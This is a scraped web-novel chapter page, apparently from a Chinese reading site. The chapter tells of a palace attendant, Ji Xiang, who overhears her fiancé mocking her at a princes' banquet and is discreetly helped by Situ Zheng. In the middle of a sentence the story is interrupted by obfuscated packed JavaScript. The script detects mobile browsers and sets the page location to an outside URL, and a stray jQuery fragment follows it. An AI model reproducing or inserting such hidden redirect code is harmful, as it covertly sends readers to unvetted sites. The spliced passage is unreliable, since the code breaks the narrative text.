默认冷灰
24号文字
方正启体

2. 而今不是当时面(二)

作者:泳宁本书字数:K更新时间:
    对于自己还有一个月就要出宫的事,纪襄即有期盼,又有几分对家人的本能抵触。


    不论她心里怎么想,日月更换,离她上一回和章序私下会面,已经过去了半月。


    长秋殿的日子一向平静祥和,等闲没有什么事端。若说近日里有什么新鲜事,那便是司徒征回来了。


    从前,司徒征在东宫里做伴读的时候,章太后就很喜爱这个小少年。虽他话少,但年纪大了的人,对生得好看的小郎君小姑娘都难免格外偏爱些。


    知他回来,章太后召见了他。


    那日几个公主办了场花宴,纪襄应邀而去,并未在长秋殿里见到司徒征。


    她是回来后听太后絮叨了许久。


    说他被任命了太子左卫率府,他长大了,模样更好了,听说还没有婚配,怎的家里这般不上心......


    纪襄一边听,一边想着才回来几日哪会这么快就订婚?但听完,她很快也将司徒征此人抛到了脑后。


    毕竟,是和她并不熟识的人。


    这日,春光明媚,纪襄最后戴上一对皎白细小的珍珠耳珰,揽镜自照,见无差错,便走出了她的屋子。


    每日陪伴章太后用早饭是她数年如一日早已习惯的。


    纪襄先站在太后身侧给她布菜,等太后用得差不多了,就听太后微微暗哑的声音让她坐下。


    她从善如流地坐在太后下首的位置,桌上摆着燕窝粥和数十碟各色各样精致的小菜。


    金乌高悬,明亮天光透过层层珠帘绣幕,到殿内时已是柔和可爱,映照出少女一张娇胜芙蕖的脸蛋,低头用饭的模样娴雅静好。章太后心里满意,命用好早膳的纪襄去随便做两道点心来。


    纪襄领命而去,在长秋殿的小厨房里消磨了半个早上。


    等端出去,才知太后竟然不是自己要吃。


    章太后半卧半坐在软榻上,露出一个慈爱的微笑:“你送到临华殿去,就说他们虽然从不想起我这个老婆子,我还是惦记着他们的。”


    纪襄下意识地回了一句:“您哪里老了?任谁见了都要夸一句您风华正好的。”


    说完,她才明白章太后的真正意思,低下了头。


    太后呵呵笑了两声,小姑娘脸嫩,这是害羞了。


    今日五皇子做东,在临华殿宴请诸位皇子宗室子,亦有年少的勋贵子弟。其中,肯定是有章序了。


    “快去,我让你去的,没人能笑话你什么。”


    纪襄轻轻应了一声。


    临近午膳时分,纪襄走在树荫下,略微有些闷热。身后两个小宫女,一个提着食盒,一个轻轻地给她摇着纨扇。


    身旁两人轻声嬉笑了半路,她始终心不在焉。


    行至揽霞亭旁,纪襄咬了咬唇,下定决心一般停住了脚步,开口道:“你们在这里等我,我独自去送点心,回头来找你们一起回,可好?”


    两个小宫娥平日就很承纪襄的情,又能偷一阵空闲,哪有不乐意的?猜她是想独自和未婚夫君说几句话,各个捂嘴偷笑,保证绝对不会在太后面前多嘴,目送纪襄提着食盒走远。


    纪襄心里纷乱极了。


    她还在介怀,之前听到的那个传闻。


    他们已是未婚夫妻,她问一句也是应当的吧?


    只是不知能不能寻到机会私下说两句话。


    这般想着,一路分花拂柳,临华殿已经近了。还未踏入,就已闻到珍馐美酒混着龙涎的靡靡香气。


    殿外守着的侍卫内官皆识得太后跟前的纪姑娘,见她提着食盒,立刻有殷勤的小内监三两步小跑过来要帮她提。


    她含笑拒绝了,走得更近些,便能听见内殿传出青年男子的阵阵谈笑声。


    被这种扑面而来的欢畅氛围感染,她面上笑容不由自主加深。殿门阖着,纪襄正要伸手推开,倏然间,一个熟悉的声音在酒杯碰撞声中清晰起来。


    “......纪襄笨极了,除了讨好太后还会什么?”


    语气中,是掩饰不住的嫌弃。


    他话罢,嘈杂的殿内静了一息。


    随即而来的,是愈发吵闹的声响,似乎有人在狂笑,连舞乐声都压不住。


    谈资是她。


    在喧嚣声中,她没有听到一旁的脚步声。


    纪襄面对朱门,已经无力去分辨里面是谁在说话,是谁在发出作怪的笑声。


    她脑中空白一片,明明是和煦春日,她却觉得浑身发冷。


    其实章序从前说过许多类似的话,说她无聊,胆怯,呆板。


    可他竟然在众人面前贬低她,说她的不是,这和当众羞辱她,有什么区别?


    只不过,是他以为自己不会知道罢了!


    她想要立刻推门进去,把这劳什子点心甩到他脸上,质问他究竟是什么意思,看不上她为何还要应下婚约?


    脚步才挪动了一下,她就停住了。


    进去做什么呢?让在场的所有人看她更多的笑话?


    若是不管不顾闯进去,简直是把自己的脸撕下来给他踩!而且她若闯进去了,事后太后责罚的,也一定是她。


    “纪姑娘容貌还是很不错的。”


    殿内有人公正且大声地说了一句。


    她没有听清楚章序回了什么,只听见殿内又是一阵笑声。


    纪襄含着的泪珠,再也忍不住了,纷纷滚落。


    她提着食盒的素手不住颤抖,眼看就要摔落在地上,忽地有只手替她拿稳了。


    纪襄忍住抽泣,凝着泪眼抬头望了过去。


    天色朗朗,一棵过分高大乃至延到廊道的花树枝干下,一个青年男人正微微低头看着她。


    他比纪襄高出一个头还不止,锦衣玉带,肤色雪白,却丝毫没有柔弱之态,反而衬得明秀英逸的一张脸皎然如玉。


    此时,一阵春风温温柔柔拂过,夹杂着几点落英,纷纷扬扬。有一片粉白花瓣,便落在了他衣裳的肩头上。


    纪襄眼眸下方也被沾染一片,她伸手拂落,眼前虽然朦朦胧胧,却分辨出了他的神色很是平静清明。


    约摸是觉得撞到这样的事很无聊吧。


    他没有碰到纪襄的手,朝她略一颔首,身后跟着的青衣小童已经接过了他手里的食盒。


    纪襄的第一感觉,便是愈发难堪。原本就涨红的面颊,几乎要渗出血来。


    还是被人瞧见了她这狼狈模样。


    小童脸上含笑,道:“姐姐,我给你拿进去。”


    笑嘻嘻的,很是热心。


    她朝这半大孩子勉强露出一个笑,飞快道了句谢,又讷讷道:“多谢你,司徒——”


    纪襄顿住了,突然间不知该如何称呼他。


    上一次见面,她还是一个十一岁的童稚女孩儿,除了几位皇子要称殿下,宫里常出现的几个少年,太后都让她喊哥哥。


    可眼前的男人已经尽数褪去了少年时的青涩稚气,她也不是个小女孩了,再喊他“司徒哥哥”实在不合适。


    而直呼其名,又实在失礼。


    正迟疑称呼,她冷不防和他四目相对。


    他的双瞳漆黑若曜石,透着一股清凌凌的淡峭意味。


    纪襄抿了抿唇。


    他大概已经不记得她了,当她


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15373502|168227||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是个寻常宫女吧。


    “司徒征。”


    他似乎是觉得她忘记了他名,提醒她。


    纪襄顿时为自己方才的猜想有些难为情,含含糊糊应了一声,侧过身去抹了含着的一包眼泪。


    在这个小插曲后,她心中依旧是满腹委屈,和她一向珍爱的自尊受损后那深深的屈辱之感。


    恍恍惚惚间,她知道自己该回去了,却是心跳如鼓,四肢都像是被那一句公然嫌弃的话抽走了力气,酸软得很。


    司徒征没有开口催她,却也没有推门而入,静静地立在她身旁不远不近的位置。


    殿内想来已是酒酣耳热之际,话语声鼓噪,笑声舞乐声已近狂放。


    一门之隔,殿外却是沉默相对。


    他没有就章序的话多言什么,令神智已经恢复清醒的纪襄后知后觉地松了一口气。


    诚然,司徒征的性格绝不会为她打抱不平,他们的关系也没有熟识到这地步。但若是他表现出一丝他听到了的意思,纪襄光是想想,就又想哭了。


    不知为何,她很确定司徒征应该是听到了。


    纪襄平复心绪,脸上勉勉强强挤出一个笑容,自觉回宫后能在太后面前混过去了,才同司徒征礼貌道别。


    “回吧。”


    司徒征道,他已来迟,没有立刻推门而入,而是静立看着纪襄彻底走出了临华殿的宫阙。


    宫道已经空空,他才走了进去。


    殿内觥筹交错,只空一席,长长的桌案上水陆毕陈,八珍玉食。见司徒征姗姗来迟,众人都笑着打趣了几句。


    今日做东的五皇子殿下见他的小仆手里还提着一个食盒,问他是从哪里来的。


    司徒征道:“是太后命人送来的。”


    半句话也没有提纪襄。


    众人隔空谢了几句太后,各自喝酒去了。若是旁人来迟,必然是要被罚酒捉弄的。只是司徒征为人清淡,他在出京前,便不爱说笑不喜酒乐,令人不好接近。


    如今在南地古刹修行五年,还有传闻说他修行的是一门童子内功。不然,怎么会陛下几日前赏赐他两个美人,他都拒绝了?


    是以,众人也都识趣地不去招惹他。


    宴席上气氛重又热闹起来,太子笑着轻声问坐在一旁的司徒征:“可是有事?”


    “无事。”


    他轻描淡写地回道。


    -


    纪襄成功敷衍过了太后,推说身子不舒服,回了卧房。


    一回到卧房,阖上门,她再也忍不住了,伏在枕上低声抽泣。


    她和章序青梅竹马多年,从未想过,他竟然对自己如此嫌弃。


    不得不认清,章序大约是并不愿意娶她的。只不过是因为太后看中她,才让自己的侄孙娶她。


    纪襄少女心肠的绮梦,在隔着扇门的冷言冷语里,彻底碎了。


    第一回见到章序是何时,她早就已经记不清了。只是此后年年岁岁,总是在长秋殿里见面。等年岁渐长,便是他悄悄拿石子砸她窗户,她若是不出去,就一直砸。


    两人偷偷溜到一处,说说笑笑。


    他会给给她讲宫外的事情,给她捎带些小玩意。


    纪襄的哭声渐响,添了几分茫然不知所措。她实在不明白自己做错了什么,让他要这样落她颜面。


    如果对她全然无意,为何半个月前还在砸她窗?


    不过须臾,她就收声咬住了手帕,生怕发出一点声音引来太后或是其他宫人的询问。


    幸好,很快便能出宫了。


    家里纵然有千般不好,至少能让她哭出声响来。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)